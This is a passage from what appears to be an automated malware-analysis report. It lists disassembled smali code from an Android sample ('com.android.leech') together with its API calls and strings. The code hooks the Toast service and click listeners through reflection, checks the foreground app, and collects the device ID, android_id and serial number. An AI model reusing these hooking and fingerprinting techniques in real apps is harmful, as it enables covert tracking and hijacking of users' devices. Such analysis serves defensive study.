                                                                              51invoke-virtual {v0, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              52move-result v13
                                                                              53if-eqz v13, :cond_4e
                                                                              54const/4 v3, 0x0
                                                                              55cond_4e: add-int/lit8 v7, v7, 0x1
                                                                              56goto/16 :goto_3b
                                                                              57cond_51: const/4 v7, 0x1
                                                                              59invoke-virtual {v1, v7}, Landroid/app/ActivityManager;->getRunningTasks(I)Ljava/util/List;
                                                                              60move-result-object v6
                                                                              61if-eqz v6, :cond_7a
                                                                              63invoke-interface {v6}, Ljava/util/List;->size()I
                                                                              64move-result v7
                                                                              65if-lez v7, :cond_7a
                                                                              66const/4 v7, 0x0
                                                                              68invoke-interface {v6, v7}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                                                              69move-result-object v7
                                                                              70check-cast v7, Landroid/app/ActivityManager$RunningTaskInfo;
                                                                              72iget-object v2, v7, Landroid/app/ActivityManager$RunningTaskInfo;->topActivity:Landroid/content/ComponentName;
                                                                              74invoke-virtual {v2}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                                                                              75move-result-object v7
                                                                              77invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              78move-result-object v10
                                                                              80invoke-virtual {v10}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              81move-result-object v10
                                                                              83invoke-virtual {v7, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              84try_end_76: move-result v7
                                                                              85if-eqz v7, :cond_7a
                                                                              86const/4 v3, 0x0
                                                                              87cond_7a: if-nez v3, :cond_7e
                                                                              88move v7, v8
                                                                              89goto_7d: return v7
                                                                              90cond_7e: move v7, v9
                                                                              91goto/16 :goto_7d
                                                                              92catch_80: move-exception v7
                                                                              93goto/16 :goto_7a
                                                                              APIs
                                                                              • java.lang.Thread.<init>
                                                                              • java.lang.Thread.start
                                                                              • android.content.Intent.getAction
                                                                              • java.lang.String.equals
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getActiveNetworkInfo
                                                                              • android.net.NetworkInfo.isAvailable
                                                                              • android.net.NetworkInfo.getType
                                                                              • java.lang.Thread.<init>
                                                                              • java.lang.Thread.start
                                                                              Strings
                                                                              • android.net.conn.CONNECTIVITY_CHANGE
                                                                              • connectivity
                                                                              • --->>> network isAvailable, check if there are any files to send.
                                                                              • --->>> wifi connection available, send uop packet now.
                                                                              • --->>> network disconnected.
                                                                              Position Instruction Meta Information
                                                                              0const/4 v2, 0x1
                                                                              1new-instance v0, Ljava/lang/Thread;
                                                                              2new-instance v1, LuAgent/commonsdk/framework/c$1$1;
                                                                              4invoke-direct {v1, p0, p1}, LuAgent/commonsdk/framework/c$1$1;-><init>(LuAgent/commonsdk/framework/c$1;Landroid/content/Context;)V
                                                                              6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                                                                              8invoke-virtual {v0}, Ljava/lang/Thread;->start()V
                                                                              10invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                                                                              11move-result-object v0
                                                                              13const-string v1, "android.net.conn.CONNECTIVITY_CHANGE"
                                                                              15invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              16move-result v0
                                                                              17if-eqz v0, :cond_6e
                                                                              19invoke-static {}, LuAgent/commonsdk/framework/UMModuleRegister;->getAppContext()Landroid/content/Context;
                                                                              20move-result-object v1
                                                                              22const-string v0, "connectivity"
                                                                              24invoke-virtual {v1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              25move-result-object v0
                                                                              26check-cast v0, Landroid/net/ConnectivityManager;
                                                                              28invoke-static {v0}, LuAgent/commonsdk/framework/c;->a(Landroid/net/ConnectivityManager;)Landroid/net/ConnectivityManager;
                                                                              29try_start_29:
                                                                              30invoke-static {}, LuAgent/commonsdk/framework/c;->d()Landroid/net/ConnectivityManager;
                                                                              31move-result-object v0
                                                                              33invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                                                                              34move-result-object v0
                                                                              36invoke-static {v0}, LuAgent/commonsdk/framework/c;->a(Landroid/net/NetworkInfo;)Landroid/net/NetworkInfo;
                                                                              38invoke-static {}, LuAgent/commonsdk/framework/c;->e()Landroid/net/NetworkInfo;
                                                                              39move-result-object v0
                                                                              40if-eqz v0, :cond_6f
                                                                              42invoke-static {}, LuAgent/commonsdk/framework/c;->e()Landroid/net/NetworkInfo;
                                                                              43move-result-object v0
                                                                              45invoke-virtual {v0}, Landroid/net/NetworkInfo;->isAvailable()Z
                                                                              46move-result v0
                                                                              47if-eqz v0, :cond_6f
                                                                              49const-string v0, "--->>> network isAvailable, check if there are any files to send."
                                                                              51invoke-static {v0}, LuAgent/commonsdk/statistics/common/e;->c(Ljava/lang/String;)V
                                                                              52const/4 v0, 0x1
                                                                              54invoke-static {v0}, LuAgent/commonsdk/framework/c;->a(Z)Z
                                                                              55const/16 v0, 0x111
                                                                              57invoke-static {v0}, LuAgent/commonsdk/framework/c;->a(I)V
                                                                              59invoke-static {}, LuAgent/commonsdk/framework/c;->e()Landroid/net/NetworkInfo;
                                                                              60move-result-object v0
                                                                              62invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
                                                                              63move-result v0
                                                                              64if-ne v0, v2, :cond_6e
                                                                              66const-string v0, "--->>> wifi connection available, send uop packet now."
                                                                              68invoke-static {v0}, LuAgent/commonsdk/statistics/common/e;->c(Ljava/lang/String;)V
                                                                              69new-instance v0, Ljava/lang/Thread;
                                                                              70new-instance v2, LuAgent/commonsdk/framework/c$1$2;
                                                                              72invoke-direct {v2, p0, p1}, LuAgent/commonsdk/framework/c$1$2;-><init>(LuAgent/commonsdk/framework/c$1;Landroid/content/Context;)V
                                                                              74invoke-direct {v0, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                                                                              76invoke-virtual {v0}, Ljava/lang/Thread;->start()V
                                                                              77goto_6e: return-void
                                                                              78cond_6f:
                                                                              79const-string v0, "--->>> network disconnected."
                                                                              81invoke-static {v0}, LuAgent/commonsdk/statistics/common/e;->c(Ljava/lang/String;)V
                                                                              82const/4 v0, 0x0
                                                                              84invoke-static {v0}, LuAgent/commonsdk/framework/c;->a(Z)Z
                                                                              85try_end_78: goto/16 :goto_6e
                                                                              86catch_79: move-exception v0
                                                                              88invoke-static {v1, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              89goto/16 :goto_6e
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.Context.getPackageName
                                                                              • android.content.pm.PackageManager.checkPermission
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getActiveNetworkInfo
                                                                              • android.net.NetworkInfo.getType
                                                                              • android.net.NetworkInfo.getExtraInfo
                                                                              • java.lang.String.equals
                                                                              • java.lang.String.equals
                                                                              • java.lang.String.equals
                                                                              Strings
                                                                              • android.permission.ACCESS_NETWORK_STATE
                                                                              • connectivity
                                                                              • cmwap
                                                                              • 3gwap
                                                                              • uniwap
                                                                              Position Instruction Meta Information
                                                                              0const/4 v2, 0x1
                                                                              1const/4 v1, 0x0
                                                                              3iget-object v0, p0, LuAgent/commonsdk/stateless/e;->c:Landroid/content/Context;
                                                                              4if-eqz v0, :cond_64
                                                                              6iget-object v0, p0, LuAgent/commonsdk/stateless/e;->c:Landroid/content/Context;
                                                                              8invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              9move-result-object v0
                                                                              11const-string v3, "android.permission.ACCESS_NETWORK_STATE"
                                                                              13iget-object v4, p0, LuAgent/commonsdk/stateless/e;->c:Landroid/content/Context;
                                                                              15invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              16move-result-object v4
                                                                              18invoke-virtual {v0, v3, v4}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I
                                                                              19move-result v0
                                                                              20if-eqz v0, :cond_1c
                                                                              21move v0, v1
                                                                              22goto_1b: return v0
                                                                              23try_start_1c:
                                                                              24iget-object v0, p0, LuAgent/commonsdk/stateless/e;->c:Landroid/content/Context;
                                                                              26const-string v3, "connectivity"
                                                                              28invoke-virtual {v0, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              29move-result-object v0
                                                                              30check-cast v0, Landroid/net/ConnectivityManager;
                                                                              32iget-object v3, p0, LuAgent/commonsdk/stateless/e;->c:Landroid/content/Context;
                                                                              34const-string v4, "android.permission.ACCESS_NETWORK_STATE"
                                                                              36invoke-static {v3, v4}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              37move-result v3
                                                                              38if-nez v3, :cond_32
                                                                              39move v0, v1
                                                                              40goto/16 :goto_1b
                                                                              41cond_32:
                                                                              42invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                                                                              43move-result-object v0
                                                                              44if-eqz v0, :cond_64
                                                                              46invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
                                                                              47move-result v3
                                                                              48if-eq v3, v2, :cond_64
                                                                              50invoke-virtual {v0}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String;
                                                                              51move-result-object v0
                                                                              52if-eqz v0, :cond_64
                                                                              54const-string v3, "cmwap"
                                                                              56invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              57move-result v3
                                                                              58if-nez v3, :cond_5c
                                                                              60const-string v3, "3gwap"
                                                                              62invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              63move-result v3
                                                                              64if-nez v3, :cond_5c
                                                                              66const-string v3, "uniwap"
                                                                              68invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              69try_end_59: move-result v0
                                                                              70if-eqz v0, :cond_64
                                                                              71cond_5c: move v0, v2
                                                                              72goto/16 :goto_1b
                                                                              73catch_5e: move-exception v0
                                                                              75iget-object v2, p0, LuAgent/commonsdk/stateless/e;->c:Landroid/content/Context;
                                                                              77invoke-static {v2, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              78cond_64: move v0, v1
                                                                              79goto/16 :goto_1b
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.Context.getPackageName
                                                                              • android.content.pm.PackageManager.checkPermission
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getActiveNetworkInfo
                                                                              • android.net.NetworkInfo.getType
                                                                              • android.net.NetworkInfo.getExtraInfo
                                                                              • java.lang.String.equals
                                                                              • java.lang.String.equals
                                                                              • java.lang.String.equals
                                                                              Strings
                                                                              • android.permission.ACCESS_NETWORK_STATE
                                                                              • connectivity
                                                                              • cmwap
                                                                              • 3gwap
                                                                              • uniwap
                                                                              Position Instruction Meta Information
                                                                              0const/4 v2, 0x1
                                                                              1const/4 v1, 0x0
                                                                              3iget-object v0, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              5invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              6move-result-object v0
                                                                              8const-string v3, "android.permission.ACCESS_NETWORK_STATE"
                                                                              10iget-object v4, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              12invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              13move-result-object v4
                                                                              15invoke-virtual {v0, v3, v4}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I
                                                                              16move-result v0
                                                                              17if-eqz v0, :cond_18
                                                                              18move v0, v1
                                                                              19goto_17: return v0
                                                                              20cond_18:
                                                                              21iget-object v0, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              23const-string v3, "connectivity"
                                                                              25invoke-virtual {v0, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              26move-result-object v0
                                                                              27check-cast v0, Landroid/net/ConnectivityManager;
                                                                              29iget-object v3, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              31const-string v4, "android.permission.ACCESS_NETWORK_STATE"
                                                                              33invoke-static {v3, v4}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              34move-result v3
                                                                              35if-nez v3, :cond_2e
                                                                              36move v0, v1
                                                                              37goto/16 :goto_17
                                                                              38cond_2e:
                                                                              39invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                                                                              40move-result-object v0
                                                                              41if-eqz v0, :cond_60
                                                                              43invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
                                                                              44move-result v3
                                                                              45if-eq v3, v2, :cond_60
                                                                              47invoke-virtual {v0}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String;
                                                                              48move-result-object v0
                                                                              49if-eqz v0, :cond_60
                                                                              51const-string v3, "cmwap"
                                                                              53invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              54move-result v3
                                                                              55if-nez v3, :cond_58
                                                                              57const-string v3, "3gwap"
                                                                              59invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              60move-result v3
                                                                              61if-nez v3, :cond_58
                                                                              63const-string v3, "uniwap"
                                                                              65invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              66try_end_55: move-result v0
                                                                              67if-eqz v0, :cond_60
                                                                              68cond_58: move v0, v2
                                                                              69goto/16 :goto_17
                                                                              70catch_5a: move-exception v0
                                                                              72iget-object v2, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              74invoke-static {v2, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              75cond_60: move v0, v1
                                                                              76goto/16 :goto_17
                                                                              APIs
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getDeclaredFields
                                                                              • android.content.ContentValues.<init>
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.reflect.Field.getName
                                                                              • android.content.ContentValues.put
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.database.sqlite.SQLiteDatabase.update
                                                                              • java.lang.Exception.printStackTrace
                                                                              Strings
                                                                              • =?
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "tableName" # Ljava/lang/String;
                                                                              1.param p2, "columnName" # Ljava/lang/String;
                                                                              2.param p3, "columnValue" # Ljava/lang/String;
                                                                              3.param p4, "object" # Ljava/lang/Object;
                                                                              4.prologue
                                                                              5const/4 v6, 0x0
                                                                              6try_start_1:
                                                                              7invoke-virtual {p4}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              8move-result-object v0
                                                                              10invoke-virtual {v0}, Ljava/lang/Class;->getDeclaredFields()[Ljava/lang/reflect/Field;
                                                                              11move-result-object v4
                                                                              12new-instance v5, Landroid/content/ContentValues;
                                                                              14invoke-direct {v5}, Landroid/content/ContentValues;-><init>()V
                                                                              15array-length v7, v4
                                                                              16goto_f: if-ge v6, v7, :cond_2b
                                                                              17aget-object v3, v4, v6
                                                                              18const/4 v8, 0x1
                                                                              20invoke-virtual {v3, v8}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              22invoke-virtual {v3, p4}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              23move-result-object v1
                                                                              24check-cast v1, Ljava/lang/String;
                                                                              26invoke-virtual {v3}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                                                                              27move-result-object v8
                                                                              29invoke-virtual {v5, v8, v1}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                                                                              30const/4 v8, 0x0
                                                                              32invoke-virtual {v3, v8}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              33add-int/lit8 v6, v6, 0x1
                                                                              34goto/16 :goto_f
                                                                              35cond_2b:
                                                                              36iget-object v6, p0, Lcom/android/leech/main/ad/mini/database/tool/TableOperate;->db:Landroid/database/sqlite/SQLiteDatabase;
                                                                              37new-instance v7, Ljava/lang/StringBuilder;
                                                                              39invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                                              41invoke-virtual {v7, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              42move-result-object v7
                                                                              44const-string v8, "=?"
                                                                              46invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              47move-result-object v7
                                                                              49invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              50move-result-object v7
                                                                              51const/4 v8, 0x1
                                                                              52new-array v8, v8, [Ljava/lang/String;
                                                                              53const/4 v9, 0x0
                                                                              54aput-object p3, v8, v9
                                                                              56invoke-virtual {v6, p1, v5, v7, v8}, Landroid/database/sqlite/SQLiteDatabase;->update(Ljava/lang/String;Landroid/content/ContentValues;Ljava/lang/String;[Ljava/lang/String;)I
                                                                              57try_end_49: return-void
                                                                              58catch_4a: move-exception v2
                                                                              60invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
                                                                              61goto/16 :goto_49
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getSimOperator
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.String.equals
                                                                              • java.lang.String.equals
                                                                              • java.lang.String.equals
                                                                              • java.lang.String.equals
                                                                              Strings
                                                                              • phone
                                                                              • 46000
                                                                              • 46002
                                                                              • \u4e2d\u56fd\u79fb\u52a8
                                                                              • 46001
                                                                              • \u4e2d\u56fd\u8054\u901a
                                                                              • 46003
                                                                              • \u4e2d\u56fd\u7535\u4fe1
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1try_start_1:
                                                                              2sget-object v0, LuAgent/commonsdk/internal/utils/b;->d:Landroid/content/Context;
                                                                              4const-string v2, "phone"
                                                                              6invoke-virtual {v0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              7move-result-object v0
                                                                              8check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              10invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSimOperator()Ljava/lang/String;
                                                                              11move-result-object v0
                                                                              13invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              14move-result v2
                                                                              15if-nez v2, :cond_41
                                                                              17const-string v2, "46000"
                                                                              19invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              20move-result v2
                                                                              21if-nez v2, :cond_25
                                                                              23const-string v2, "46002"
                                                                              25invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              26try_end_22: move-result v2
                                                                              27if-eqz v2, :cond_28
                                                                              28cond_25:
                                                                              29const-string v0, "\u4e2d\u56fd\u79fb\u52a8"
                                                                              30goto_27: return-object v0
                                                                              31cond_28:
                                                                              32const-string v2, "46001"
                                                                              34invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              35try_end_2d: move-result v2
                                                                              36if-eqz v2, :cond_33
                                                                              38const-string v0, "\u4e2d\u56fd\u8054\u901a"
                                                                              39goto/16 :goto_27
                                                                              40cond_33:
                                                                              41const-string v2, "46003"
                                                                              43invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              44try_end_38: move-result v0
                                                                              45if-eqz v0, :cond_41
                                                                              47const-string v0, "\u4e2d\u56fd\u7535\u4fe1"
                                                                              48goto/16 :goto_27
                                                                              49catch_3e: move-exception v0
                                                                              50move-object v0, v1
                                                                              51goto/16 :goto_27
                                                                              52cond_41: move-object v0, v1
                                                                              53goto/16 :goto_27
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getClassLoader
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getInterfaces
                                                                              • java.lang.reflect.Proxy.newProxyInstance
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.set
                                                                              Strings
                                                                              • android.widget.Toast
                                                                              • getService
                                                                              • sService
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0:
                                                                              2const-string v6, "android.widget.Toast"
                                                                              4invoke-static {v6}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              5move-result-object v3
                                                                              7const-string v6, "getService"
                                                                              8const/4 v7, 0x0
                                                                              9new-array v7, v7, [Ljava/lang/Class;
                                                                              11invoke-virtual {v3, v6, v7}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              12move-result-object v1
                                                                              13const/4 v6, 0x1
                                                                              15invoke-virtual {v1, v6}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              16const/4 v6, 0x0
                                                                              17const/4 v7, 0x0
                                                                              18new-array v7, v7, [Ljava/lang/Object;
                                                                              20invoke-virtual {v1, v6, v7}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              21move-result-object v5
                                                                              22new-instance v4, Lcom/android/leech/base/hook/proxy/ToastProxy;
                                                                              24invoke-direct {v4, v5}, Lcom/android/leech/base/hook/proxy/ToastProxy;-><init>(Ljava/lang/Object;)V
                                                                              26invoke-virtual {v5}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              27move-result-object v6
                                                                              29invoke-virtual {v6}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                                                                              30move-result-object v6
                                                                              32invoke-virtual {v5}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              33move-result-object v7
                                                                              35invoke-virtual {v7}, Ljava/lang/Class;->getInterfaces()[Ljava/lang/Class;
                                                                              36move-result-object v7
                                                                              38invoke-static {v6, v7, v4}, Ljava/lang/reflect/Proxy;->newProxyInstance(Ljava/lang/ClassLoader;[Ljava/lang/Class;Ljava/lang/reflect/InvocationHandler;)Ljava/lang/Object;
                                                                              39move-result-object v2
                                                                              41const-string v6, "sService"
                                                                              43invoke-virtual {v3, v6}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              44move-result-object v0
                                                                              45const/4 v6, 0x1
                                                                              47invoke-virtual {v0, v6}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              49invoke-virtual {v0, v3, v2}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              50goto_41: return-void
                                                                              51catch_42: move-exception v6
                                                                              52goto/16 :goto_41
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.reflect.Field.set
                                                                              • android.util.Log.d
                                                                              Strings
                                                                              • android.view.View
                                                                              • getListenerInfo
                                                                              • android.view.View$ListenerInfo
                                                                              • mOnClickListener
                                                                              • studio
                                                                              • hook success
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "view" # Landroid/view/View;
                                                                              1.param p2, "listener" # Lcom/android/leech/base/hook/proxy/HookClickListener$HClickListener;
                                                                              2.prologue
                                                                              3try_start_0:
                                                                              4const-string v5, "android.view.View"
                                                                              6invoke-static {v5}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              7move-result-object v1
                                                                              9const-string v5, "getListenerInfo"
                                                                              10const/4 v6, 0x0
                                                                              11new-array v6, v6, [Ljava/lang/Class;
                                                                              13invoke-virtual {v1, v5, v6}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              14move-result-object v4
                                                                              15const/4 v5, 0x1
                                                                              17invoke-virtual {v4, v5}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              18const/4 v5, 0x0
                                                                              19new-array v5, v5, [Ljava/lang/Object;
                                                                              21invoke-virtual {v4, p1, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              22move-result-object v3
                                                                              24const-string v5, "android.view.View$ListenerInfo"
                                                                              26invoke-static {v5}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              27move-result-object v0
                                                                              29const-string v5, "mOnClickListener"
                                                                              31invoke-virtual {v0, v5}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              32move-result-object v2
                                                                              33new-instance v6, Lcom/android/leech/base/hook/proxy/HookClickListener;
                                                                              35invoke-virtual {v2, v3}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              36move-result-object v5
                                                                              37check-cast v5, Landroid/view/View$OnClickListener;
                                                                              39invoke-direct {v6, v5, p2}, Lcom/android/leech/base/hook/proxy/HookClickListener;-><init>(Landroid/view/View$OnClickListener;Lcom/android/leech/base/hook/proxy/HookClickListener$HClickListener;)V
                                                                              41invoke-virtual {v2, v3, v6}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              43const-string v5, "studio"
                                                                              45const-string v6, "hook success"
                                                                              47invoke-static {v5, v6}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                                              48goto_3b: return-void
                                                                              49catch_3c: move-exception v5
                                                                              50goto/16 :goto_3b
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getDeviceId
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.content.Context.getContentResolver
                                                                              • android.provider.Settings$Secure.getString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.os.Build.SERIAL:Ljava/lang/String
                                                                              Strings
                                                                              • phone
                                                                              • android.permission.READ_PHONE_STATE
                                                                              • android_id
                                                                              • android.os.Build
                                                                              • getSerial
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-eqz p0, :cond_64
                                                                              2try_start_3:
                                                                              3const-string v0, "phone"
                                                                              5invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              6move-result-object v0
                                                                              7check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              8if-eqz v0, :cond_62
                                                                              10const-string v2, "android.permission.READ_PHONE_STATE"
                                                                              12invoke-static {p0, v2}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              13move-result v2
                                                                              14if-eqz v2, :cond_62
                                                                              16invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                                                                              17try_end_18: move-result-object v0
                                                                              18try_start_19:
                                                                              19invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              20move-result v1
                                                                              21if-eqz v1, :cond_53
                                                                              23invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                                              24move-result-object v1
                                                                              26const-string v2, "android_id"
                                                                              28invoke-static {v1, v2}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                                                              29try_end_28: move-result-object v1
                                                                              30try_start_29:
                                                                              31invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              32move-result v0
                                                                              33if-eqz v0, :cond_60
                                                                              34sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              35const/16 v2, 0x9
                                                                              36if-lt v0, v2, :cond_60
                                                                              37sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              38try_end_37: const/16 v2, 0x1a
                                                                              39if-lt v0, v2, :cond_57
                                                                              40try_start_3b:
                                                                              41const-string v0, "android.os.Build"
                                                                              43invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              44move-result-object v0
                                                                              46const-string v2, "getSerial"
